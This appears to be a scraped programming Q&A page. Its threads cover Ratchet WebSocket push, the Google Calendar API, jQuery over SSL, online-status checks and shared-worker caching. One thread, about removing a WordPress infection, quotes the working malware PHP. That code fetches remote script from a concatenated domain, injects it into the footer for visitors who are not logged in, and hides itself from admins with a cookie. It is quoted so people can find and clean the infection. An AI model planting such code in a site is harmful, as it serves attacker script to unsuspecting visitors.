PHP WebSockets with Ratchet - example doesn't work - javascript

Here's some background first.
My aim is to use Ratchet WebSockets to create two-way client-server communication.
I have installed ratchet and accompanying software, as described here.
I have successfully created a Hello World application as described here.
Now I am trying to create Push functionality using this tutorial. I have copied the code, modifying it slightly (modifications noted in code comments below), installed the ZMQ library (latest version, added it to php.ini, show up in php -m - in short, it's installed correctly). But the WebSockets don't work.
I will give my testing process with real live links to my domain below, so you can check it yourself.
My push server is exactly the same as the one in their tutorial, with the IP changed to my server's IP. I run this through SSH and it seems to connect correctly.
My Pusher class is in the MyApp namespace, same code and same relative location as in their tutorial.
My post.php is slightly modified because there's no need to bother with MySQL queries:
$entryData = array( //hard-coded content of $entryData for simplicity
'cat' => "macka"
, 'title' => "naslov"
, 'article' => "tekst"
, 'when' => time()
);
// This is our new stuff
$context = new ZMQContext();
$socket = $context->getSocket(ZMQ::SOCKET_PUSH, 'my pusher');
$socket->connect("tcp://light-speed-games.com:5555"); //my domain, still using port 5555 as in their example
$socket->send(json_encode($entryData));
This file is located here.
My client.php is the same as theirs, except I had to add a little fix for IE to work with when.js. My problem is browser-independent and the same as it was before the fix was added.
<script>
window.define = function(factory) { //my addition
try{ delete window.define; } catch(e){ window.define = void 0; } // IE
window.when = factory();
};
window.define.amd = {};
</script>
<script src="/apps/scripts/when.js"></script>
<script src="http://autobahn.s3.amazonaws.com/js/autobahn.min.js"></script>
<script>
var conn = new ab.Session(
'ws://light-speed-games.com:8080' // The host (our Ratchet WebSocket server) to connect to
, function() { // Once the connection has been established
conn.subscribe('kittensCategory', function(topic, data) {
// This is where you would add the new article to the DOM (beyond the scope of this tutorial)
console.log('New article published to category "' + topic + '" : ' + data.title);
});
}
, function() { // When the connection is closed
console.warn('WebSocket connection closed');
}
, { // Additional parameters, we're ignoring the WAMP sub-protocol for older browsers
'skipSubprotocolCheck': true
}
);
</script>
This file is located here.
In theory, what should happen is this (for example): I open client.php in Chrome with console switched on; then I open post.php in Firefox; Chrome's console should show the message 'New article published...' etc (from the conn.subscribe function in client.php). However, when I do this, nothing happens. The connection remains open (doesn't show the 'connection closed' error until I switch off push-server.php through SSH). The console remains empty.
I think that's all the relevant info from the last couple of days, a large portion of which I've spent on trying to figure this out. However, I've been unable to even make sure if the problem is with the code or with some server configuration setting I may be unaware of. So, I come to you hoping someone will point me in the right direction.
Important edit
I'm pretty sure the problem is with the Autobahn.js method conn.subscribe not working properly. The connection is being established. When I change the code to:
function() { // Once the connection has been established
console.log('Connection established');
conn.subscribe('kittensCategory', function(topic, data) {
// This is where you would add the new article to the DOM (beyond the scope of this tutorial)
console.log('New article published to category "' + topic + '" : ' + data.title);
});
}
Then Connection established is shown in the console correctly. So I believe we need to troubleshoot the subscribe method. If someone can explain to me how it works, and what exactly "topic" and "data" are supposed to be, it would be of great help. The Autobahn documentation uses a URL as an argument for this method (see here).

Your client is looking for an article in kittensCategory, but you are sending category macka. Try this:
$entryData = array(
'cat' => "kittensCategory",
'title' => "naslov",
'article' => "tekst",
'when' => time()
);

Is it correct to see your host light-speed-games.com on port 8080 is not functioning? If not, I would suggest to fix this as it is likely its causing your issues.

Related

Google API Calendar problems PHP

I'm new to both the google api and stackoverflow, so please bear with me.
So, I have set a this whole setup to get the events out of a google calendar, authorization, keys and all. But, no matter what, I can't get any events back. I hav tried all my different calendars, but none of them give anything different. I also found this handy little tool tied to my service account which shows me when I actually reaches the server, which it always does, and also which of them causes an error. So, it seems like eeeeverything works just fine, but still no events arrive. Is there something obvious I am missing here?
I have tried to make new calendars, new events, new accounts and just redoing everything altogether. I have had help by more experienced people too, but to no avail.
THINGS DONE:
Creating a google service account
Creating a project in said account
Creating credentials for said project
Downloading JSON:s with keys and ID:s from account and project
Linking those properly in code
Creating new events of different kinds in my primary calendar
Bugfixing
Making a request for the events
Bugfixing until no 401 or 404 appears in the log at google
Still nothing
Tries to test it at some tutorialpage at google
Works perfectly
???
This below is the code for everything outside of the google library(Also properly installed)
DIR_ROOT is our homemade DIR which takes us to the right folders
<?php
require_once DIR_ROOT . '/vendor/autoload.php';
define('SCOPES', implode(' ', array(
Google_Service_Calendar::CALENDAR)
));
putenv('GOOGLE_APPLICATION_CREDENTIALS=/var/www/html/Tv-Projektet-222309a0ac14.json');
$client = new Google_Client();
$client->useApplicationDefaultCredentials();
$client->setScopes(SCOPES);
$service = new Google_Service_Calendar($client);
// Print the next 10 events on the user's calendar.
$calendarId = 'primary';
$optParams = array(
'maxResults' => 10,
'orderBy' => 'startTime',
'singleEvents' => true,
'timeMin' => date('c'),
);
$results = $service->events->listEvents($calendarId, $optParams);
if (count($results->getItems()) == 0) {
print "No Hermes set for this day. Please update the calendar.\n";
} else {
print "Upcoming events:\n";
foreach ($results->getIgtems() as $event) {
$start = $event->start->dateTime;
if (empty($start)) {
$start = $event->start->date;
}
printf("%s (%s)\n", $event->getSummary(), $start);
}
}
?>
So, with one more weeks worth of testing, I found out that a organizations account doesn't work here. I don't know why, but when I used my personal gmail, it worked just fine.

10wp.org/jquery.js how to remove the malware

One of my company's client's website is infected with a malware. In the source there is a <script src="http://www.10wp.org/jquery.js"></script> that is printed randomly.
I following this article and searching the code. But so far I could find where the malicious script is inserted.
Did any of you have the same issue? Where did you find the malicious script?
You need to nuke the system from orbit. There is no way for us to know where that code is being injected into your server output, and there is no way for you to ever know that the system isn't still compromised.
You need to stand up a new server, patch it so that it is not reinfected, and load your application code from backup. That is the only way you can be sure you've resolved the problem.
the mallware inserts a piece of code in a random place of your site. After many hours of testing and searching i found this one.
if(!function_exists('wp_func_jquery')) {
if (!current_user_can( 'read' ) && !isset(${_COOKIE}['wp_min'])) {
function wp_func_jquery() {
$host = 'http://';
$jquery = $host.'lib'.'wp.org/jquery-ui.js';
$headers = #get_headers($jquery, 1);
if ($headers[0] == 'HTTP/1.1 200 OK'){
echo(wp_remote_retrieve_body(wp_remote_get($jquery)));
}
}
add_action('wp_footer', 'wp_func_jquery');
}
function wp_func_min(){
setcookie('wp_min', '1', time() + (86400 * 360), '/');
}
add_action('wp_login', 'wp_func_min');
}
look for wp_func_jquery or lib'.'wp.org
the inserted jquery should be empty when you open it in browser, it deploys its payload under other circumstances.
Hope it helps

Jquery.get not working with ssl

I recently added an SSL certificate to my website and since then some of the jquery functions are no longer working. Specifically jquery.get
Example:
function getBfeForm() {
jQuery.get('/wp-admin/admin.php/?page=booking.multiuser.5.3/wpdev-booking.phpwpdev-booking-resources&tab=availability&wpdev_edit_avalaibility=<?php echo key($_REQUEST['avail']); ?>/', function(data) {
jQuery('[name="avail['+<?php echo key($_REQUEST['avail']); ?>+']"]').removeClass('spinner').val('Edit Availability');
if (data) {
jQuery('#availHolder .holder').html(jQuery(data).find('.inside'));
jQuery('#availHolder .holder').prepend('<div id="popHeader"><a title="Close" class="fancybox-item fancybox-close" href="javascript:;">Close</a></div>');
jQuery('#availHolder').hide();
jQuery('#availHolder').appendTo(jQuery('[data-resource="<?php echo key($_REQUEST['avail']); ?>"]').find('tr.clean td'));
jQuery('#availHolder').slideDown(500);
}
});
}
This function works fine with http but when SSL is activated and https used the function no longer calls the file. I have seen other comments on here saying the lack of trailing slashes is the issue, but I believe I have added trailing slashes correctly now and it still doesn't work.
Any help would be greatly appreciated.
UPDATE: I added alert("Data: " + data + "\nStatus: " + status); to the function to see what data was actually being served. It appears the wordpress log in page is being called rather than the file specified in the function. I have tested this on a duplicate site without SSL and it calls the correct file. Does this mean the SSL is not allowing a link to wp-admin files?
If you are using windows and have a local certificate installed in IIS then try access the site with fully qualified name of the computer
[computer_name].[domain_name]
For example: [ox-pchris11].[companyname.com] where ox-pchris11 is the computer name and companyname.com is the domain name.
if you access the site as localhost it will show a error page which will ask permission to continue.
I found the problem and posting the answer here for anyone else who is implementing an SSL certificate. The issue was the custom login page we have. We are using the wp_signon function and we had $user_verify = wp_signon( $login_data, false );. This should be $user_verify = wp_signon( $login_data, true ); - setting the value to 'true' creates a secure cookie. If the cookie is not secure, each time a user tries to access wp-admin files they are logged out and required to log in again.
For details check the wordpress codex for wp_signon.

online offline check using javascript [duplicate]

This question already has answers here:
Detect the Internet connection is offline?
(22 answers)
Closed 8 years ago.
How do you check if there is an internet connection using jQuery? That way I could have some conditionals saying "use the google cached version of JQuery during production, use either that or a local version during development, depending on the internet connection".
The best option for your specific case might be:
Right before your close </body> tag:
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
<script>window.jQuery || document.write('<script src="js/vendor/jquery-1.10.2.min.js"><\/script>')</script>
This is probably the easiest way given that your issue is centered around jQuery.
If you wanted a more robust solution you could try:
var online = navigator.onLine;
Read more about the W3C's spec on offline web apps, however be aware that this will work best in modern web browsers, doing so with older web browsers may not work as expected, or at all.
Alternatively, an XHR request to your own server isn't that bad of a method for testing your connectivity. Considering one of the other answers state that there are too many points of failure for an XHR, if your XHR is flawed when establishing it's connection then it'll also be flawed during routine use anyhow. If your site is unreachable for any reason, then your other services running on the same servers will likely be unreachable also. That decision is up to you.
I wouldn't recommend making an XHR request to someone else's service, even google.com for that matter. Make the request to your server, or not at all.
What does it mean to be "online"?
There seems to be some confusion around what being "online" means. Consider that the internet is a bunch of networks, however sometimes you're on a VPN, without access to the internet "at-large" or the world wide web. Often companies have their own networks which have limited connectivity to other external networks, therefore you could be considered "online". Being online only entails that you are connected to a network, not the availability nor reachability of the services you are trying to connect to.
To determine if a host is reachable from your network, you could do this:
function hostReachable() {
// Handle IE and more capable browsers
var xhr = new ( window.ActiveXObject || XMLHttpRequest )( "Microsoft.XMLHTTP" );
// Open new request as a HEAD to the root hostname with a random param to bust the cache
xhr.open( "HEAD", "//" + window.location.hostname + "/?rand=" + Math.floor((1 + Math.random()) * 0x10000), false );
// Issue request and handle response
try {
xhr.send();
return ( xhr.status >= 200 && (xhr.status < 300 || xhr.status === 304) );
} catch (error) {
return false;
}
}
You can also find the Gist for that here: https://gist.github.com/jpsilvashy/5725579
Details on local implementation
Some people have commented, "I'm always being returned false". That's because you're probably testing it out on your local server. Whatever server you're making the request to, you'll need to be able to respond to the HEAD request, that of course can be changed to a GET if you want.
Ok, maybe a bit late in the game but what about checking with an online image?
I mean, the OP needs to know if he needs to grab the Google CMD or the local JQ copy, but that doesn't mean the browser can't read Javascript no matter what, right?
<script>
function doConnectFunction() {
// Grab the GOOGLE CMD
}
function doNotConnectFunction() {
// Grab the LOCAL JQ
}
var i = new Image();
i.onload = doConnectFunction;
i.onerror = doNotConnectFunction;
// CHANGE IMAGE URL TO ANY IMAGE YOU KNOW IS LIVE
i.src = 'http://gfx2.hotmail.com/mail/uxp/w4/m4/pr014/h/s7.png?d=' + escape(Date());
// escape(Date()) is necessary to override possibility of image coming from cache
</script>
Just my 2 cents
5 years later-version:
Today, there are JS libraries for you, if you don't want to get into the nitty gritty of the different methods described on this page.
On of these is https://github.com/hubspot/offline. It checks for the connectivity of a pre-defined URI, by default your favicon. It automatically detects when the user's connectivity has been reestablished and provides neat events like up and down, which you can bind to in order to update your UI.
You can mimic the Ping command.
Use Ajax to request a timestamp to your own server, define a timer using setTimeout to 5 seconds, if theres no response it try again.
If there's no response in 4 attempts, you can suppose that internet is down.
So you can check using this routine in regular intervals like 1 or 3 minutes.
That seems a good and clean solution for me.
You can try by sending XHR Requests a few times, and then if you get errors it means there's a problem with the internet connection.
I wrote a jQuery plugin for doing this. By default it checks the current URL (because that's already loaded once from the Web) or you can specify a URL to use as an argument. Always doing a request to Google isn't the best idea because it's blocked in different countries at different times. Also you might be at the mercy of what the connection across a particular ocean/weather front/political climate might be like that day.
http://tomriley.net/blog/archives/111
i have a solution who work here to check if internet connection exist :
$.ajax({
url: "http://www.google.com",
context: document.body,
error: function(jqXHR, exception) {
alert('Offline')
},
success: function() {
alert('Online')
}
})
Sending XHR requests is bad because it could fail if that particular server is down. Instead, use googles API library to load their cached version(s) of jQuery.
You can use googles API to perform a callback after loading jQuery, and this will check if jQuery was loaded successfully. Something like the code below should work:
<script type="text/javascript">
google.load("jquery");
// Call this function when the page has been loaded
function test_connection() {
if($){
//jQuery WAS loaded.
} else {
//jQuery failed to load. Grab the local copy.
}
}
google.setOnLoadCallback(test_connection);
</script>
The google API documentation can be found here.
A much simpler solution:
<script language="javascript" src="http://maps.google.com/maps/api/js?v=3.2&sensor=false"></script>
and later in the code:
var online;
// check whether this function works (online only)
try {
var x = google.maps.MapTypeId.TERRAIN;
online = true;
} catch (e) {
online = false;
}
console.log(online);
When not online the google script will not be loaded thus resulting in an error where an exception will be thrown.

The applicationCache is 'undefined' in a shared webworker (HTML5)

I'm trying to access the offline application cache of a shared webworker (HTML5) with no luck. I've been banging my head against this problem for many hours, so I must be missing something... Any help from a JavaScript Ninja out there would be highly appreciated!
The W3C the spec says that:
cache = self.applicationCache
(in a shared worker) should return the ApplicationCache object that applies to the current shared worker.
I'm spawning a shared worker from my app's main script via:
var worker = new SharedWorker('js/test.js');
worker.port.addEventListener('message', function(e) {
alert('got message: ' + e.data);
}, false);
worker.port.start();
worker.port.postMessage('hi there...');
And here's the code of my shared worker (test.js):
var cache = self.applicationCache;
onconnect = function(e) {
var port = e.ports[0];
port.onmessage = function(e) {
// test.html contains a <html manifest='test.manifest'> tag
var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", "test.html", false);
xmlHttp.send(null);
var result = xmlHttp.responseText;
port.postMessage(result);
port.postMessage('cache: '+ cache);
}
}
The alerts I'm getting are:
the contents of test.html (as I expected)
the message "cache : undefined" (oops!)
I tried this on Google Chrome 7.0.517.44 and Safari 5.0.2 (Mac OS X 10.6.4). I also tried to trigger the HTTP GET before accessing the cache and many other variations, but all of these attempts resulted with the same outcome.
Am I missing something obvious? Is this is a known limitations of the browsers I've tested?
Many Thanks,
Ori
I found the same thing - though to be honest, I'm not even sure WHY we'd want access to the applicationCache object... I thought it just, cached things?! Anyway - when I was trying to get it to work I found this thread talking about it:
http://lists.w3.org/Archives/Public/public-webapps/2009OctDec/0519.html
I assumed that I could just stick and entry in my cache.manifest file of the main page that referenced the worker file and it would populate the applicationCache magically. But it didn't appear to (I just got undefined like you did).
In the w3c spec, in the Processing Model section it says:
If worker global scope is actually a SharedWorkerGlobalScope object (i.e. the worker is a shared worker), and there are any relevant application caches that are identified by a manifest URL with the same origin as url and that have url as one of their entries, not excluding entries marked as foreign, then associate the worker global scope with the most appropriate application cache of those that match.
But I can't make it work!

Categories

Resources